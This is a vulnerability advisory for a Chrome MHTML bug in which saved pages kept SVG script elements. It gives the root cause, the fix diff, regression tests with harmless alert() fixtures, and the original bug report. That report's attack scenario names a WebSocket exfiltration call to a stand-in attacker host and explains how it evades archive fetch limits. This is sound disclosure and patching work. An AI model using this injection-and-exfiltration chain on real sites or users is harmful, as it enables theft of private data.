CVE-2026-8022
Overview
Background
- MHTML serialization
- Chrome’s “Save page as” mechanism that captures a live DOM into a single MHTML archive via
FrameSerializer, which walks eachElementand decides whether to emit it. - `FrameSerializer::WillProcessElement`
- The per-element callback that returns
EmitElementChoice::kIgnoreto drop an element (such as a script) from the serialized output. - `Element::IsScriptElement`
- A virtual predicate on
Elementthat is true for both HTML (HTMLScriptElement) and SVG (SVGScriptElement) script elements. - MHTML Improvements
- A feature under which scripts are allowed to execute when an MHTML document is later opened, making any preserved script active rather than inert.
Root Cause Analysis
WillProcessElement dropped scripts by testing only IsA<HTMLScriptElement>(element), which matches HTML <script> but not the SVG <script> element type.
As a result, SVG script elements were serialized verbatim into the MHTML archive. With MHTML Improvements enabled, scripts in an opened MHTML document can execute, so a preserved SVG script would run when the saved archive is reopened.
The fix replaces the HTML-only type check with the virtual element.IsScriptElement(), which returns true for both HTML and SVG script elements, so both are now dropped (the HTMLNoScriptElement branch is preserved by OR-ing it into the same condition). The regression tests SVGScriptElementStripped (and EventHandlersStripped) confirm the serialized output no longer contains <script or the SVG/HTML script payloads.
HTMLScriptElement) rather than by the behavior-defining virtual IsScriptElement(), which silently excluded SVG scripts; the fix switches to the polymorphic predicate so every script element type is stripped.Attack Path
- Inject an SVG script
An attacker gets an SVG
<script>element into a page’s DOM (e.g. via a site that reflects attacker content), which survives because it is not sanitized as an HTML script. - Trigger serialization
The page is captured to MHTML (user-driven “Save page”, or another save path), and
WillProcessElementemits the SVG script because the old check only ignoredHTMLScriptElement. - Reopen the archive
The victim opens the saved
.mhtmlfile with MHTML Improvements enabled, which permits scripts in MHTML documents to execute. - Script executes The preserved SVG script runs in the context of the reopened MHTML document (inferred as to the exact origin/privileges of that context, which the diff does not define).
Impact Assessment
Changed Functions
| Function | Change | Notes |
|---|---|---|
TEST_Fthird_party/blink/renderer/core/frame/frame_serializer_test.cc |
modified |
Files Changed
third_party/blink/renderer/core/frame/frame_serializer.ccthird_party/blink/renderer/core/frame/frame_serializer_test.ccthird_party/blink/renderer/core/testing/data/core_test_bundle_data.filelistthird_party/blink/renderer/core/testing/data/frameserializer/svg/svg_onload.htmlthird_party/blink/renderer/core/testing/data/frameserializer/svg/svg_script.html
Audit Directions
- Concrete-type vs. virtual predicateFlag
IsA<HTMLFooElement>checks used as a semantic filter where a virtual predicate (likeIsScriptElement) exists, since the concrete check misses SVG/MathML and other element-type variants. - SVG/foreign-content parityAudit sanitizers, serializers, and CSP/script gates for places that handle HTML elements but omit their SVG counterparts (
<script>,<use>, event-handler attributes). - Feature-gated behavior changesRe-review serialization/sanitization assumptions whenever a feature (such as MHTML Improvements) turns previously-inert content into executable content.
Patch
From 51ac3bc3dfdfaae83e8b61c11477c33349746fe8 Mon Sep 17 00:00:00 2001
From: Andrew Paseltiner <apaseltiner@chromium.org>
Date: Fri, 03 Apr 2026 11:13:57 -0700
Subject: [PATCH] [MHTML] Strip SVG script elements during serialization
FrameSerializer was only stripping HTML script elements, but not SVG
script elements. When MHTML Improvements are enabled, scripts can
execute in MHTML documents, which could lead to security issues if
injected SVG scripts are preserved.
This CL updates FrameSerializer::WillProcessElement to use the virtual
IsScriptElement() method, which correctly identifies and strips both
HTML and SVG script elements.
Fixed: 499194407
Change-Id: I44de472efbbccff02179af697d019a227fc32828
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7726689
Reviewed-by: Dan Harrington <harringtond@chromium.org>
Reviewed-by: Ian Kilpatrick <ikilpatrick@chromium.org>
Commit-Queue: Andrew Paseltiner <apaseltiner@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1609869}
---
diff --git a/third_party/blink/renderer/core/frame/frame_serializer.cc b/third_party/blink/renderer/core/frame/frame_serializer.cc
index 5aecec8b..abe11b02 100644
--- a/third_party/blink/renderer/core/frame/frame_serializer.cc
+++ b/third_party/blink/renderer/core/frame/frame_serializer.cc
@@ -666,10 +666,7 @@
}
EmitElementChoice WillProcessElement(const Element& element) override {
- if (IsA<HTMLScriptElement>(element)) {
- return EmitElementChoice::kIgnore;
- }
- if (IsA<HTMLNoScriptElement>(element)) {
+ if (element.IsScriptElement() || IsA<HTMLNoScriptElement>(element)) {
return EmitElementChoice::kIgnore;
}
auto* meta = DynamicTo<HTMLMetaElement>(element);
diff --git a/third_party/blink/renderer/core/frame/frame_serializer_test.cc b/third_party/blink/renderer/core/frame/frame_serializer_test.cc
index f7a2ec8..d327750 100644
--- a/third_party/blink/renderer/core/frame/frame_serializer_test.cc
+++ b/third_party/blink/renderer/core/frame/frame_serializer_test.cc
@@ -562,6 +562,29 @@
250U);
}
+TEST_F(FrameSerializerTest, SVGScriptElementStripped) {
+ SetBaseFolder("frameserializer/svg/");
+
+ RegisterURL("svg_script.html", "text/html");
+ Serialize("svg_script.html");
+
+ String data = GetSerializedData("svg_script.html", "text/html");
+ EXPECT_FALSE(data.contains("<script"));
+ EXPECT_FALSE(data.contains("svg script"));
+ EXPECT_FALSE(data.contains("html script"));
+}
+
+TEST_F(FrameSerializerTest, EventHandlersStripped) {
+ SetBaseFolder("frameserializer/svg/");
+
+ RegisterURL("svg_onload.html", "text/html");
+ Serialize("svg_onload.html");
+
+ String data = GetSerializedData("svg_onload.html", "text/html");
+ EXPECT_FALSE(data.contains("onload"));
+ EXPECT_FALSE(data.contains("onclick"));
+}
+
TEST_F(FrameSerializerTest, DontIncludeErrorImage) {
SetBaseFolder("frameserializer/image/");
diff --git a/third_party/blink/renderer/core/testing/data/core_test_bundle_data.filelist b/third_party/blink/renderer/core/testing/data/core_test_bundle_data.filelist
index 03dd574b0..4bdae5e 100644
--- a/third_party/blink/renderer/core/testing/data/core_test_bundle_data.filelist
+++ b/third_party/blink/renderer/core/testing/data/core_test_bundle_data.filelist
@@ -208,6 +208,8 @@
testing/data/frameserializer/rewritelinks/rewritelinks_simple.html
testing/data/frameserializer/svg/green_rectangle.svg
testing/data/frameserializer/svg/page_with_svg_image.html
+testing/data/frameserializer/svg/svg_onload.html
+testing/data/frameserializer/svg/svg_script.html
testing/data/frameserializer/xml/xmldecl.xml
testing/data/fullscreen_div.html
testing/data/fullscreen_iframe.html
diff --git a/third_party/blink/renderer/core/testing/data/frameserializer/svg/svg_onload.html b/third_party/blink/renderer/core/testing/data/frameserializer/svg/svg_onload.html
new file mode 100644
index 0000000..70623b21
--- /dev/null
+++ b/third_party/blink/renderer/core/testing/data/frameserializer/svg/svg_onload.html
@@ -0,0 +1,9 @@
+<!DOCTYPE html>
+<html>
+<body>
+<svg xmlns="http://www.w3.org/2000/svg" onload="alert('svg onload')">
+ <circle cx="50" cy="50" r="40" stroke="black" stroke-width="3" fill="red" />
+</svg>
+<div onclick="alert('html onclick')">Click me</div>
+</body>
+</html>
diff --git a/third_party/blink/renderer/core/testing/data/frameserializer/svg/svg_script.html b/third_party/blink/renderer/core/testing/data/frameserializer/svg/svg_script.html
new file mode 100644
index 0000000..dc93b76
--- /dev/null
+++ b/third_party/blink/renderer/core/testing/data/frameserializer/svg/svg_script.html
@@ -0,0 +1,9 @@
+<!DOCTYPE html>
+<html>
+<body>
+<svg xmlns="http://www.w3.org/2000/svg">
+ <script>alert('svg script');</script>
+</svg>
+<script>alert('html script');</script>
+</body>
+</html>
Regression Test / PoC
diff --git a/third_party/blink/renderer/core/frame/frame_serializer_test.cc b/third_party/blink/renderer/core/frame/frame_serializer_test.cc
index f7a2ec8..d327750 100644
--- a/third_party/blink/renderer/core/frame/frame_serializer_test.cc
+++ b/third_party/blink/renderer/core/frame/frame_serializer_test.cc
@@ -562,6 +562,29 @@
250U);
}
+TEST_F(FrameSerializerTest, SVGScriptElementStripped) {
+ SetBaseFolder("frameserializer/svg/");
+
+ RegisterURL("svg_script.html", "text/html");
+ Serialize("svg_script.html");
+
+ String data = GetSerializedData("svg_script.html", "text/html");
+ EXPECT_FALSE(data.contains("<script"));
+ EXPECT_FALSE(data.contains("svg script"));
+ EXPECT_FALSE(data.contains("html script"));
+}
+
+TEST_F(FrameSerializerTest, EventHandlersStripped) {
+ SetBaseFolder("frameserializer/svg/");
+
+ RegisterURL("svg_onload.html", "text/html");
+ Serialize("svg_onload.html");
+
+ String data = GetSerializedData("svg_onload.html", "text/html");
+ EXPECT_FALSE(data.contains("onload"));
+ EXPECT_FALSE(data.contains("onclick"));
+}
+
TEST_F(FrameSerializerTest, DontIncludeErrorImage) {
SetBaseFolder("frameserializer/image/");
diff --git a/third_party/blink/renderer/core/testing/data/core_test_bundle_data.filelist b/third_party/blink/renderer/core/testing/data/core_test_bundle_data.filelist
index 03dd574b0..4bdae5e 100644
--- a/third_party/blink/renderer/core/testing/data/core_test_bundle_data.filelist
+++ b/third_party/blink/renderer/core/testing/data/core_test_bundle_data.filelist
@@ -208,6 +208,8 @@
testing/data/frameserializer/rewritelinks/rewritelinks_simple.html
testing/data/frameserializer/svg/green_rectangle.svg
testing/data/frameserializer/svg/page_with_svg_image.html
+testing/data/frameserializer/svg/svg_onload.html
+testing/data/frameserializer/svg/svg_script.html
testing/data/frameserializer/xml/xmldecl.xml
testing/data/fullscreen_div.html
testing/data/fullscreen_iframe.html
diff --git a/third_party/blink/renderer/core/testing/data/frameserializer/svg/svg_onload.html b/third_party/blink/renderer/core/testing/data/frameserializer/svg/svg_onload.html
new file mode 100644
index 0000000..70623b21
--- /dev/null
+++ b/third_party/blink/renderer/core/testing/data/frameserializer/svg/svg_onload.html
@@ -0,0 +1,9 @@
+<!DOCTYPE html>
+<html>
+<body>
+<svg xmlns="http://www.w3.org/2000/svg" onload="alert('svg onload')">
+ <circle cx="50" cy="50" r="40" stroke="black" stroke-width="3" fill="red" />
+</svg>
+<div onclick="alert('html onclick')">Click me</div>
+</body>
+</html>
diff --git a/third_party/blink/renderer/core/testing/data/frameserializer/svg/svg_script.html b/third_party/blink/renderer/core/testing/data/frameserializer/svg/svg_script.html
new file mode 100644
index 0000000..dc93b76
--- /dev/null
+++ b/third_party/blink/renderer/core/testing/data/frameserializer/svg/svg_script.html
@@ -0,0 +1,9 @@
+<!DOCTYPE html>
+<html>
+<body>
+<svg xmlns="http://www.w3.org/2000/svg">
+ <script>alert('svg script');</script>
+</svg>
+<script>alert('html script');</script>
+</body>
+</html>
Original Bug Report
Information Leak via Incomplete Script Stripping in FrameSerializer (MHTML)
Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports without the security team.
Overview: When saving a page as MHTML, FrameSerializer attempts to strip scripts but fails to remove SVGScriptElement. If the kMHTML_Improvements feature is enabled, scripts are allowed to execute in MHTML files, and because CSP is intentionally stripped during serialization, an injected SVG script can execute and exfiltrate private page data via WebSockets.
Affected files:
third_party/blink/renderer/core/frame/frame_serializer.cccontent/browser/renderer_host/navigation_policy_container_builder.cc
Estimated timestamp from git blame: 2024-10-25
Root Cause
When saving a webpage as an MHTML archive, Chrome attempts to strip executable scripts to prevent security issues when the saved page is reopened. This logic resides in FrameSerializer::WillProcessElement (third_party/blink/renderer/core/frame/frame_serializer.cc).
Currently, the function checks for and ignores HTMLScriptElement and HTMLNoScriptElement. However, it fails to check for SVGScriptElement. As a result, <script> tags embedded within an <svg> namespace are not stripped and are preserved verbatim in the resulting .mhtml file.
Historically, MHTML documents were loaded with strict sandbox flags that prohibited script execution. However, when the experimental blink::features::kMHTML_Improvements feature is enabled, NavigationPolicyContainerBuilder::ComputeSandboxFlags explicitly removes the kScripts restriction from the MHTML sandbox flags, assuming that FrameSerializer has already safely removed all scripts.
Compounding the issue, FrameSerializer::ShouldIgnoreMetaElement explicitly removes <meta http-equiv="Content-Security-Policy"> tags to ensure MHTML subresources load correctly. Since HTTP response headers are also not serialized, the saved MHTML file has no CSP.
Potential Attack Scenario
The following steps describe how an attacker could potentially exploit this logic flaw:
- Injection: An attacker injects a malicious SVG script (e.g.,
<svg xmlns="http://www.w3.org/2000/svg"><script>/* Malicious code */</script></svg>) into a target website (e.g., via a comment section). The site’s CSP prevents it from executing on the live site. - Saving: A victim, authenticated to the site, views a page containing both their private data and the inert SVG payload. The victim saves the page locally (Ctrl+S) as a single-file MHTML.
- Serialization Bypass:
FrameSerializerstrips the site’s CSP meta tags but fails to strip theSVGScriptElement, embedding both the private data and the malicious script in the local.mhtmlfile. - Execution: The victim later opens the saved MHTML file. With
kMHTML_Improvementsenabled, the sandbox allows scripts to execute. The lack of CSP allows the SVG script to run. - Exfiltration: The executing script reads the serialized DOM (containing the victim’s private data). Standard
fetch()calls are blocked byResourceFetcherin MHTML contexts, but the script can successfully open a WebSocket (new WebSocket('wss://attacker.com')) because WebSockets route throughBrowserInterfaceBroker, bypassingResourceFetcher’s local-only archive restrictions. The data is exfiltrated to the attacker.
Note: These steps are based on static code analysis, as our tooling does not yet have the ability to run a live Proof of Concept.
Suggested Fix
Update FrameSerializer::WillProcessElement in third_party/blink/renderer/core/frame/frame_serializer.cc to correctly identify and strip all script elements.
Instead of explicitly checking for HTMLScriptElement, it should check if the element is a script element. For example:
if (IsA<HTMLScriptElement>(element) || IsA<SVGScriptElement>(element)) {
return EmitElementChoice::kIgnore;
}
Alternatively, consider using the virtual IsScriptElement() method defined on Element if applicable.
Evaluated with Chrome root at commit: ff3d2b74fa39431785bd60e51463b08fcc71ee33
Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.